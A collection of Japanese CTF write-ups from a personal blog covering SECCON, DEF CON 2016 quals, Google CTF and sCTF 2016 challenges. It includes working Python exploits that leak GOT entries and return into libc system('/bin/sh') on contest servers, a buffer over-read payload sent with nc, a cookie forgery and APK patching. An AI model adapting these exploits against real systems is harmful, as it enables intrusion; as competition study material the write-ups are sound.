yuta1024@yharima:~$ strings -a -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "sh$" e45b inet6_opt_finish f397 _IO_wdefault_finish f97b _IO_fflush 117fe _IO_file_finish 11cf9 bdflush 1214b tcflush 123fd _IO_default_finish 15df25 Trailing backslash 15e3f8 sys/net/ash 16084c /bin/sh 1627b0 /bin/csh 1ab831 .gnu.hash yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep system 00040310 T __libc_system 001193c0 T svcerr_systemerr 00040310 W system yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep setbuf 0006de50 T _IO_file_setbuf 001278a0 T _IO_file_setbuf 00065d80 T _IO_setbuffer 00067b20 T setbuf 00065d80 W setbuffer
libc の base アドレスは, leak した setbuf の GOT - 0x00067b20
で求まるので,
求めた libc の base アドレスにそれぞれ上記で得たアドレスを加算してあげればそれぞれのアドレスが求まる.
あとは, leak 後に再度実行するようにした main 関数で同様にスタックを以下のように積んでシェルを起動する.
------------------------ system 関数のアドレス ------------------------ AAAA(なんでも良い) ------------------------ /bin/sh ------------------------
あとは python のコードに書き下せば良い.
とても馬鹿なことに libc が配布されているのに libcdb で検索したアドレスを使ったせいで,
1時間くらいシェルがあがらねー,とかいうことを言っていた.反省.
$ python cheer.py setbuf: 0xf759db20 libc_base: 0xf7536000 system_got: 0xf7576310 binsh_addr: 0xf769684c [*] send -112 [*] recv [*] send exploit code [*] recv Thank you BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBcW�AAAALhi�! Message : ===== get shell!!!! ===== ls -l total 16 -rwxr-xr-x 1 root cheer_msg 7701 Dec 3 17:06 cheer_msg -rw-r--r-- 1 root cheer_msg 25 Dec 5 00:01 flag.txt -rwxr-xr-x 1 root cheer_msg 34 Dec 4 23:20 run.sh cat flag.txt SECCON{N40.T_15_ju571c3}
書いたクソみたいなコードは以下.
import sys import socket import struct import telnetlib def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] def interact(s): print "===== get shell!!!! =====" t = telnetlib.Telnet() t.sock = s t.interact() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('cheermsg.pwn.seccon.jp', 30527)) msg = s.recv(1024) s.send("-112\n"); msg = s.recv(1024) buf = 'A' * 32 buf += p(0x08048430) buf += p(0x080485ca) buf += p(0x08048890) buf += p(0x0804a00c) s.send(buf + "\n") msg = s.recv(1024) msg = s.recv(1024) setbuf_got = u(msg[78:82]) libc_base = setbuf_got - 0x00067b20 system_got = libc_base + 0x00040310 binsh_addr = libc_base + 0x0016084c print 'setbuf: 0x%x' % setbuf_got print 'libc_base: 0x%x' % libc_base print 'system_got: 0x%x' % system_got print 'binsh_addr: 0x%x' % binsh_addr print '[*] send -112' s.send("-112\n"); print '[*] recv' s.recv(1024) s.recv(1024) print '[*] send exploit code' buf = 'B' * 32 buf += p(system_got) buf += 'AAAA' buf += p(binsh_addr) s.send(buf + "\n") print '[*] recv' print s.recv(1024) interact(s)
DEF CON CTF 2016 writeup
DEF CON CTF 2016 writeup
去年は 0 完を達成した DEF CON.
今年は 1 完以上を目指してなんとか達成できたので,writeup を書くことにする.
xkcd
64 bit バイナリ.おととし話題になった openssl の Heartbleed が元ネタっぽいらしい.
なんか 4 コマ的なものがチームのチャットに貼られてた.
xkcd: Heartbleed Explanation
とりあえずローカルで動かしてみる.
$ ./xkcd Could not open the flag.
どうやらフラグファイルがないと起動できらしい.
strace を使ってシステムコールをみてみる.
$ strace ./xkcd execve("./xkcd", ["./xkcd"], [/* 24 vars */]) = 0 uname({sys="Linux", node="centos6-x86_64.lab.yharima.club", ...}) = 0 brk(0) = 0x1cc8000 brk(0x1cc91c0) = 0x1cc91c0 arch_prctl(ARCH_SET_FS, 0x1cc8880) = 0 readlink("/proc/self/exe", "/home/yuta1024/DEFCON/xkcd", 4096) = 26 brk(0x1cea1c0) = 0x1cea1c0 brk(0x1ceb000) = 0x1ceb000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("flag", O_RDONLY) = -1 ENOENT (No such file or directory) write(1, "Could not open the flag.", 24Could not open the flag.) = 24 write(1, "\n", 1 ) = 1 exit_group(-1) = ? +++ exited with 255 +++
flag
ファイルがあれば良いらしいのでとりあえず適当に yharima
とか書いて置いておく.
もう一度起動してみる.
$ ./xkcd A MALFORMED REQUEST
適当に A
と入力するとリクエストが正しくないらしい.
ここまでくるとどうしようもないので gdb で動かしながらどのような入力を取ればいいかを追っていく.
0x0000000000400fb9 <+91>: mov esi,0x487de4 0x0000000000400fbe <+96>: mov edi,0x487de6 0x0000000000400fc3 <+101>: call 0x407d80 <fopen64> 0x0000000000400fc8 <+106>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400fcc <+110>: cmp QWORD PTR [rbp-0x18],0x0 0x0000000000400fd1 <+115>: jne 0x400fe7 <main+137> 0x0000000000400fd3 <+117>: mov edi,0x487deb 0x0000000000400fd8 <+122>: call 0x408260 <puts> 0x0000000000400fdd <+127>: mov eax,0xffffffff 0x0000000000400fe2 <+132>: jmp 0x401177 <main+537> 0x0000000000400fe7 <+137>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400feb <+141>: mov rcx,rax 0x0000000000400fee <+144>: mov edx,0x100 0x0000000000400ff3 <+149>: mov esi,0x1 0x0000000000400ff8 <+154>: mov edi,0x6b7540 0x0000000000400ffd <+159>: call 0x407d90 <fread>
flag
を open している部分.
0x0000000000400fd1
で open できたら 0x0000000000400fe7
に飛んでいて,
open に失敗したら 0x487deb = "Could not open the flag."
を出力して終了している.
0x0000000000400fe7
の飛び先では,フラグの内容を 0x6b7540
に読み込んでいる.
その後,fgetln
があって,ユーザの入力を取っていて,続いて strtok
を呼んでいる.
0x000000000040101f <+193>: mov QWORD PTR [rbp-0x20],rax 0x0000000000401023 <+197>: mov rax,QWORD PTR [rbp-0x20] 0x0000000000401027 <+201>: mov esi,0x487e04 0x000000000040102c <+206>: mov rdi,rax 0x000000000040102f <+209>: mov eax,0x0 0x0000000000401034 <+214>: call 0x4196a0 <strtok> 0x0000000000401039 <+219>: cdqe 0x000000000040103b <+221>: mov QWORD PTR [rbp-0x28],rax 0x000000000040103f <+225>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000401043 <+229>: mov esi,0x487e06 0x0000000000401048 <+234>: mov rdi,rax 0x000000000040104b <+237>: call 0x4002d0 0x0000000000401050 <+242>: test eax,eax 0x0000000000401052 <+244>: je 0x401068 <main+266>
入力文字列を 0x487e04 = "?"
を使って token を分割していて,
分割して結果を 0x487e06 = "SERVER, ARE YOU STILL THERE"
と比較していて一致しないなら終了する,
という感じっぽい( 0x4002d0
を詳しく読んでないが動作的にはそうっぽかった).
ということは,入力としてはこの時点で SERVER, ARE YOU STILL THERE?
が必要.
同様に同じような処理が続いて,文字列を組み立てていくと,
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (6 LETTERS)
的な文章になる.
# REPLY
と "
の間にスペースがなくて随分はまっていたがチームメンバーが気づいてくれた.
これだけでは,何も意味がなくてどうやって flag を取得するか,という部分で随分悩んだ.
4コマのように,6 LETTERS
としている部分を "
で囲んだ文字列より長いものを入れてみても,
$ ./xkcd SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (100 LETTERS) NICE TRY
となり,終了してしまいリークできない.
実際に逆汗結果を読んでみると,
0x0000000000401145 <+487>: mov edi,0x6b7340 0x000000000040114a <+492>: call 0x417280 <strlen> 0x000000000040114f <+497>: cmp rbx,rax 0x0000000000401152 <+500>: jbe 0x401168 <main+522> 0x0000000000401154 <+502>: mov edi,0x487e54 0x0000000000401159 <+507>: call 0x408260 <puts> 0x000000000040115e <+512>: mov edi,0xffffffff 0x0000000000401163 <+517>: call 0x406c40 <exit> 0x0000000000401168 <+522>: mov edi,0x6b7340 0x000000000040116d <+527>: call 0x408260 <puts>
となっていて 0x6b7340
に "
で囲まれた部分の文字列が memcpy
されていて,
その文字列の長さを strlen
していて, rbx
と比較し,より小さく or 等しければ,
その文字列を表示して再度入力待ちし,そうでなければ NICE TRY
を出力して終了する.
ここでの rbx
は, %d LETTERS"
で sscanf した結果が入ってる.
つまり, (100 LETTERS)
のときは, rbx = 100
となっている.
全然わからん,となっていたがなんで memcpy しているんだろう? と思ってそのあたりを読み進めていると,
0x00000000004010ba <+348>: call 0x4196a0 <strtok> 0x00000000004010bf <+353>: cdqe 0x00000000004010c1 <+355>: mov QWORD PTR [rbp-0x28],rax 0x00000000004010c5 <+359>: mov rax,QWORD PTR [rbp-0x28] 0x00000000004010c9 <+363>: mov rdi,rax 0x00000000004010cc <+366>: call 0x417280 <strlen> 0x00000000004010d1 <+371>: mov rdx,rax 0x00000000004010d4 <+374>: mov rax,QWORD PTR [rbp-0x28] 0x00000000004010d8 <+378>: mov rsi,rax 0x00000000004010db <+381>: mov edi,0x6b7340 0x00000000004010e0 <+386>: call 0x41fce0 <memcpy>
"
で囲まれている範囲の文字をとってきて, strlen で長さを調べ,0x6b7340
に memcpy している.
0x7b7340
ってなんぞ? っとなって readelf -s
してみた.
$ readelf -s ./xkcd | grep 6b7340 1807: 00000000006b7340 768 OBJECT GLOBAL DEFAULT 24 globals
グローバル変数っぽい.なんか同じようなアドレスをどっかでみたような…?
0x0000000000400fb9 <+91>: mov esi,0x487de4 0x0000000000400fbe <+96>: mov edi,0x487de6 0x0000000000400fc3 <+101>: call 0x407d80 <fopen64> 0x0000000000400fc8 <+106>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400fcc <+110>: cmp QWORD PTR [rbp-0x18],0x0 0x0000000000400fd1 <+115>: jne 0x400fe7 <main+137> 0x0000000000400fd3 <+117>: mov edi,0x487deb 0x0000000000400fd8 <+122>: call 0x408260 <puts> 0x0000000000400fdd <+127>: mov eax,0xffffffff 0x0000000000400fe2 <+132>: jmp 0x401177 <main+537> 0x0000000000400fe7 <+137>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400feb <+141>: mov rcx,rax 0x0000000000400fee <+144>: mov edx,0x100 0x0000000000400ff3 <+149>: mov esi,0x1 0x0000000000400ff8 <+154>: mov edi,0x6b7540 0x0000000000400ffd <+159>: call 0x407d90 <fread>
フラグが入ってるのが, 0x6b7540
で, memcpy で入力した文字列が入ってるのが 0x6b7340
.
memcpy は末尾に \0
を付与しないので, 512 byte 書き込んだらフラグと文字が繋がるのでは?
# ボケてたのかチームチャットでは 320 byte とかいってしまい, 512 byte だろ,って突っ込まれたw
というわけでローカルで "
でくくられている範囲に 512 文字いれて,
LETTERS の部分は 自分が書いたフラグの長さである 7文字たして 519 文字としてみると…,
$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (519 LETTERS)"' | ./xkcd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyharima セグメンテーション違反です
キター!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
サーバに対して適当に文字数をいじりながらやってみると…
$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (540 LETTERS)"' | nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThe flag is: bl33ding h34rt5
というわけで, bl33ding h34rt5
がフラグとして取れた!
上記のような考察を書いて 320byte だとかいって検証している間に,
メンバーに先にフラグを奪取されたのはいい思い出.
Google CTF writeup
Google CTF
いつもの如く yharima チームで参加.
700 pts で 145 位だった.クソ難しかったという印象.
とりあえず自分が解いたやつを書きます.
In Recorded Conversation (25pts)
とりあえず落としてきた pcap を strings してみると,
IRC のログっぽい.適当にスクロールしているとフラグっぽい文字列が分割されてあったので,
順番に結合して投げただけ.
Ernst Echidna (50pts)
Web サイトをハッキングしてくれ,的な問題.
とりあえず適当に register してみてもよくわからない.
問題文に robots.txt みると良い的なことが書いてあるのでみると,
/admin
が disallow されていた.
適当にログインしてアクセスしてみると
Sorry, this interface is restricted to administrators only
admin ユーザを作ってログインすれば良いのかと思い,
register してみると,
'admin' account already taken!
でダメ.
SQLi とかなんだろうかと思ったが,
一度自分が作ったアカウントで再度 register しても admin と同様のエラーにはならず,
普通にアカウントが作成できる.
ということは,アカウントの管理はしていないのではないか,と推測.
クッキーでも見てみるか,と思いみてみると md5-hash
だと書いてある.
これは,ユーザ名の MD5 じゃないのかと思いとりあえず作ったユーザ名の MD5 をとってみると一致.
admin
の MD5 をとってクッキー差し替えて admin
にアクセスしたらフラグが取れた.
Ill Intentions (150pts)
もっとスマートな解法があるので参考にしないことをおすすめします.
6時間くらい戦ってようやく解けた問題.解けたときはとても達成感と共に徒労感に襲われた.
apk がくるならとりあえず中身のソースコードを読んでみたくなるので,
以下の手順とツールでデコンパイルして読んだ.
- apk を unzip
- dex2jar で class.dex を jar に変換
- ./d2j-jar2dex.sh classes.dex
- CFR で jar を ソースコードに変換
- java -jar cfr_0_115.jar classes-dex2jar.jar --outputdir src
ざっとデコンパイルしたソースコードを読むと,
ブロードキャストすることでインテントが切り替わって,
切り替わったインテントでクリックすると native で書かれた関数を経由して,
なんらかの文字列(おそらくフラグ)を吐き出しているらしい,ということがわかった.
フラグを生成している部分の元の文字列は,リソースなどを追うとわかる.
ということは,頑張れば静的解析だけでなんとかなるんじゃないかと思い,
native で書かれた関数の実体である libhello-jni.so
をみてみたが,
ちょっと解析する氣にはなれず動かしたいという方向に振れる.
ここから最高に迷走し始めるが,最終的には簡単にまとめると以下のように解いた.
1. apk を展開する 2. 展開した apk の AndroidManifest.xml を修正して指定したインテントを起動時に開くようにする 3. 展開した apk 内にあるコード(.smali)を弄ってフラグの変数を System.out.println するようにする 4. apk を再構築して適当に署名する 5. hack した apk をエミュで起動して ddms でログを監視する
もうゴリ押し以上の何者でもないという感じ(チームメンバーがほかの人の writeup を読んだ後にそう言われた).
まず apk の展開と再構築には apktool を使った.
どうやら wrapper script もある優しい仕様なので jar と一緒のディレクトリに転がして +x
しておく.
展開自体は以下のコマンドで簡単にできる.
$ ./apktool d illintentions.apk
展開するとディレクトリが生成され,直下に AndroidManifest.xml
がある.
現在は,起動時に MainActivity
が起動するようになっているので,
MainActivity
と IsThisTheRealOne
を入れ替えて IsThisTheRealOne
を起動するようにする.
このとき android:label
と android:name
のどちらも入れ替えておいた(name だけでも良いかもしれない).
これで, apk を再構築してインストールすると IsThisTheRealOne
が起動するようになる.
これだけでは不十分なので, IsThisTheRealOne
インテントの画面でクリックした際に,
System.out.println でフラグと思われる文字列を出力するようにする.
これは,展開した apk のディレクトリ内にある中間コード形式で保存されている smali を編集する.
smali/com/example/application/IsThisTheRealOne\$1.smali を開いて以下のように編集した.
@@ -144,9 +144,12 @@ .line 34 iget-object v5, p0, Lcom/example/application/IsThisTheRealOne$1;->this$0:Lcom/example/application/IsThisTheRealOne; - const-string v6, "ctf.permission._MSG" + const-string v9, "ctf.permission._MSG" - invoke-virtual {v5, v3, v6}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V + invoke-virtual {v5, v3, v9}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V + + sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream; + invoke-virtual {v8, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V .line 35 return-void
const-string v6
は変数を表していて,もともとは "ctf.permission._MSG" が代入されている.
この v6 は元々出力したい文字列(フラグ)が代入されていて上書きされてしまっているので,v9
に変数名を変えておく.
後続の invoke-virtual {v5, v3, v6}
はメソッド呼び出しになっていて,
{v5, v3, v6}
は引数部分になっている(呼び出し方は色々あり,第一引数に this のオブジェクトが必要,といった形式もあるので注意).
v6
は先ほど v9
に変えたので変更しておく.
続いて, sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream;
で System.out.println を実行する準備をする.
次の行で invoke-virtual {v8, v6}
として, v6
を出力するようにしている.
以上の編集が終われば, apktool を使って再構築する.
再構築するコマンドは以下.
$ ./apktool b illintentions
これで展開していたディレクトリ直下に /dist
ディレクトリが出来て,
その中に再構築された apk ができる.
しかし,このままエミュレータにはインストールできないので署名をする.
$ jarsigner -verbose -signedjar signed_illintentions.apk -keystore ~/.android/debug.keystore illintentions.apk androiddebugkey
keystore は android の SDK をインストールされると生成されるらしく,それを用いた.
パスワードは android
なので上記実行後に求められるので入力する.
以上で,エミュレータで起動する準備は完了.
エミュレータを起動して adb を使って apk を転送する.
加えて, SDK ツールのどこかにログツールである ddms
を起動しておく.
ddms
にフラグが無事でました.
他
何問か相談したり,途中まで書いたコードから解いてくれたチームメンバーのブログを置いておきます.
sCTF 2016 Q1 writeup
sCTF 2016 Q1
いつものチームで参加.
自分は時間も取れなかったこともあるけど問題も全然解けなかった….
復習として pwn2 を解いたのでその writeup を書いておく.
pwn2
接続しにいくと
How many bytes do you want me to read?
と,何バイト入力するかを聞いてくる.
任意のバイト数を入力できるわけではなく,
8048541: c7 44 24 04 04 00 00 mov DWORD PTR [esp+0x4],0x4 8048548: 00 8048549: 8d 45 d4 lea eax,[ebp-0x2c] 804854c: 89 04 24 mov DWORD PTR [esp],eax 804854f: e8 8f ff ff ff call 80484e3 <get_n> 8048554: 8d 45 d4 lea eax,[ebp-0x2c] 8048557: 89 04 24 mov DWORD PTR [esp],eax 804855a: e8 61 fe ff ff call 80483c0 <atoi@plt> 804855f: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 8048562: 83 7d f4 20 cmp DWORD PTR [ebp-0xc],0x20 # <= 8048566: 7e 15 jle 804857d <vuln+0x4e>
といったように 32 byte までしか入力できない.
追っていったところ負数を与えると 32 byte 以上入力できることがわかった.
How many bytes do you want me to read? -1 Ok, sounds good. Give me 4294967295 bytes of data!
ここまでくれば,後はスタックオーバーフローを利用する.
ただ,以下のように DEP が有効になっておりスタック上にシェルコード置いても実行することができない.
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 filesz 0x00000000 memsz 0x00000000 flags rw-
色々迷走した結果, Return-to-libc で DEP を回避し shell を起動した.
まず Return-to-libc するにあたり, libc のバージョンを特定しなければならない.
GOT にある関数のアドレスをリークすることができれば,
libcdb にアドレスを入れて検索することができる.
printf@plt のアドレスはわかっているので,スタックオーバーフローを利用して,
戻りアドレスを printf@plt にしてうまくスタックを積んであげれば任意のメモリの内容を参照することができる.
例えば,以下のようにスタックを積む.
---------------------------------- printf@plt のアドレス # 元は vuln 関数呼び出し元のアドレス部分 ---------------------------------- printf@plt 実行後の戻りアドレス ---------------------------------- printf 実行時の書式文字列 ---------------------------------- 書式文字列で表示する内容のアドレス ----------------------------------
printf@plt のアドレスは objudmp するとすぐに見つかる.
$ objdump -M intel -d pwn2 | grep "printf@plt" 08048360 <printf@plt-0x10>: 08048370 <printf@plt>:
次に積む戻りアドレスはとりあえず今はなんでも良いことにして,"AAAA" など適当に積んでおく.
printf 実行時の書式文字列は,プログラム内に存在するものを拝借することにする.
具体的に言えば,以下の "You said: %s" を利用する.
(gdb) x/s 0x80486f8 0x80486f8: "You said: %s\n"
そして最後のリークさせたアドレスは GOT にある関数のアドレスで, これは printf@plt の1行目を見ると 0x804a00c だということがわかる.
08048370 <printf@plt>: 8048370: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048376: 68 00 00 00 00 push 0x0 804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x24>
以上をまとめると,構成するスタックは以下となる.
--------------------------------------------------- 0x08048370 # printf@plt --------------------------------------------------- 0x41414141 # AAAA(戻りアドレス) --------------------------------------------------- 0x080486f8 # "You said: %s\n" --------------------------------------------------- 0x0804a00c # printf@plt が読んでいる got のアドレス ---------------------------------------------------
とりあえず,これらをまとめて以下のようなスクリプトを書いて実行する.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = 'A' * 48 # printf@plt address buf += p(0x8048370) # return address(unused) buf += 'AAAA' # 'You said "%s"' address buf += p(0x80486f8) # printf@got buf += p(0x804a00c) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) # R: You said: ??? msg = s.recv(1024).strip() print msg.encode('hex')
これを実行すると…
$ python pwn2_leak.py 596f7520736169643a20800266b7a0a467b79683040890c962b7308d67b7604864b7
これだけではわけがわからないので部分ごとに切り分ける.
596f7520736169643a20 # "You said: " 800266b7 a0a467b7 96830408 90c962b7 308d67b7 604864b7
当初自分の予想は, "You said: " の後に 4 byte のアドレスが出力されるのだろう,
と思っていたら 4 byte のアドレスが 6個もでてきてわけがわからなかった.
よくよく考えてみると, 出力は指定した先頭アドレスから "\0" が現れるまで出力されてしまうので,
はじめの "800266b7" は printf@got のアドレスだろうと予測できる(リトルエンディアン形式になっていることに注意).
では残りのアドレスはなんだろうと思って plt 周りを読んでみると,
08048370 <printf@plt>: 8048370: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048376: 68 00 00 00 00 push 0x0 804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x24> 08048380 <getchar@plt>: 8048380: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010 8048386: 68 08 00 00 00 push 0x8 804838b: e9 d0 ff ff ff jmp 8048360 <_init+0x24> 08048390 <__gmon_start__@plt>: 8048390: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014 8048396: 68 10 00 00 00 push 0x10 804839b: e9 c0 ff ff ff jmp 8048360 <_init+0x24> 080483a0 <__libc_start_main@plt>: 80483a0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018 80483a6: 68 18 00 00 00 push 0x18 80483ab: e9 b0 ff ff ff jmp 8048360 <_init+0x24> 080483b0 <setvbuf@plt>: 80483b0: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c 80483b6: 68 20 00 00 00 push 0x20 80483bb: e9 a0 ff ff ff jmp 8048360 <_init+0x24> 080483c0 <atoi@plt>: 80483c0: ff 25 20 a0 04 08 jmp DWORD PTR ds:0x804a020 80483c6: 68 28 00 00 00 push 0x28 80483cb: e9 90 ff ff ff jmp 8048360 <_init+0x24>
となっており,指定したアドレス "0x804a00c" の後続は,
getchar@plt が呼び出している "0x804a010" であり,
その後も 4byte 刻みで,各 plt が呼び出しているアドレスだとわかった.
つまり先ほどの出力結果は,
596f7520736169643a20 # "You said: " 800266b7 # printf@got a0a467b7 # getchar@got 96830408 # __gmon_start__@got 90c962b7 # __libc_start_main@got 308d67b7 # setvbuf@plt 604864b7 # atoi@got
といった感じになる.
シンボル名とアドレスがそれぞれわかったので, libcdb に,
"__libc_start_main@got" と "printf@got" のアドレスを入力すると,
libc のバージョンが特定できた.
# ASLR 有効でも末尾 12 bit のアドレスはランダムにならず一定になることから特定できるらしい.
このサイトは該当の libc のベースアドレスからみた各関数の位置が載っている.
そのためリークした関数のアドレスから libc のベースアドレスを求めることができる.
例えば, atoi だと今回リークしたアドレスは "0xb7644860" で,
atoi libc_base + 0x00031860
"0xb7644860" - "0x00031860" が libc のベースアドレスになる.
ここまでくれば後は単純で,
libc の中にある system 関数のアドレスと "/bin/sh\0" のアドレスを,
libcdb から探して libc のベースアドレスを加算しておく.
後はスタックを以下のように積むとシェルが起動するはず.
---------------------------------- system 関数のアドレス ---------------------------------- 戻りアドレス(なんでもいい) ---------------------------------- "/bin/sh\0" へのアドレス ----------------------------------
というわけで, exploit のコードを書いてみる.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) libc_base = 0xb7644860 - 0x00031860 system_addr = libc_base + 0x00040190 bin_sh_addr = libc_base + 0x00160a24 # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = "A" * 48 # system buf += p(system_addr) # return address(unused) buf += "AAAA" # /bin/sh addr buf += p(bin_sh_addr) # S: $buf s.send(buf + "\n") # R: You said: $buf s.recv(1024) print "$ ls -l" s.send("ls -l\n") print s.recv(1024)
実行する.
$ python exploit.py $ ls -l
あれ…?
よくよく考えると ASLR が有効になっているので libc のベースアドレスは毎回変動してしまう.
32 bit であればパターンが多くないのでそのうちヒットしそうだが,時間はかかるし美しくない.
どうにかならないものかと考えたところ,最初に libc のベースアドレスを求めるために got をリークするときに積んだスタックは,
--------------------------------------------------- 0x08048370 # printf@plt --------------------------------------------------- 0x41414141 # AAAA(戻りアドレス) --------------------------------------------------- 0x080486f8 # "You said: %s\n" --------------------------------------------------- 0x0804a00c # printf@plt が読んでいる got のアドレス ---------------------------------------------------
となっていて,戻りアドレスが適当になっている.
この戻りアドレスを vuln() 関数のアドレスにすると,
ここでリークさせたアドレスと同じ状態で,
再度同じスタックオーバーフローが実現できるので,
ASLR 影響を回避することができる.
最終的に書いたコードは以下.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = 'A' * 48 # printf@plt address buf += p(0x8048370) # return address(vuln()) buf += p(0x804852f) # 'You said "%s"' address buf += p(0x80486f8) # printf@got buf += p(0x804a00c) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) # R: You said: (printf@got,getchar@got,... addrres) msg = s.recv(1024).strip() print "printf@got: " + hex(u(msg[10:14])) print "getchar@got: " + hex(u(msg[14:18])) print "__gmon_start__@got: " + hex(u(msg[18:22])) print "__libc_start_main@got: " + hex(u(msg[22:26])) print "setvbuf@got: " + hex(u(msg[26:30])) print "atoi@got: " + hex(u(msg[30:34])) print "=" * 30 # search: http://libcdb.com/ # result: http://libcdb.com/libc/92 # atoi: libc_base + 0x00031860 libc_base = u(msg[30:34]) - 0x00031860 system_addr = libc_base + 0x00040190 bin_sh_addr = libc_base + 0x00160a24 print "libc_base addr: " + hex(libc_base) print "system addr" + hex(system_addr) print "/bin/sh addr: " + hex(bin_sh_addr) print "=" * 30 ## S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = "A" * 48 # system buf += p(system_addr) # return address(unused) buf += "AAAA" # /bin/sh addr buf += p(bin_sh_addr) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) print "$ ls -l" s.send("ls -l\n") print s.recv(1024) print "$ cat flag.txt" s.send("cat flag.txt\n") print s.recv(1024)
実行すると,
$ python pwn2_exploit.py printf@got: 0xb7630280 getchar@got: 0xb764a4a0 __gmon_start__@got: 0x8048396 __libc_start_main@got: 0xb75fc990 setvbuf@got: 0xb7648d30 atoi@got: 0xb7614860 ============================== libc_base addr: 0xb75e3000 system addr0xb7623190 /bin/sh addr: 0xb7743a24 ============================== $ ls -l total 12 -r--r----- 1 root pwn2 24 Apr 7 23:08 flag.txt -r-xr-x--- 1 root pwn2 7553 Apr 9 01:16 pwn2 $ cat flag.txt sctf{r0p_70_th3_f1n1sh}
フラグ sctf{r0p_70_th3_f1n1sh}
をとれた.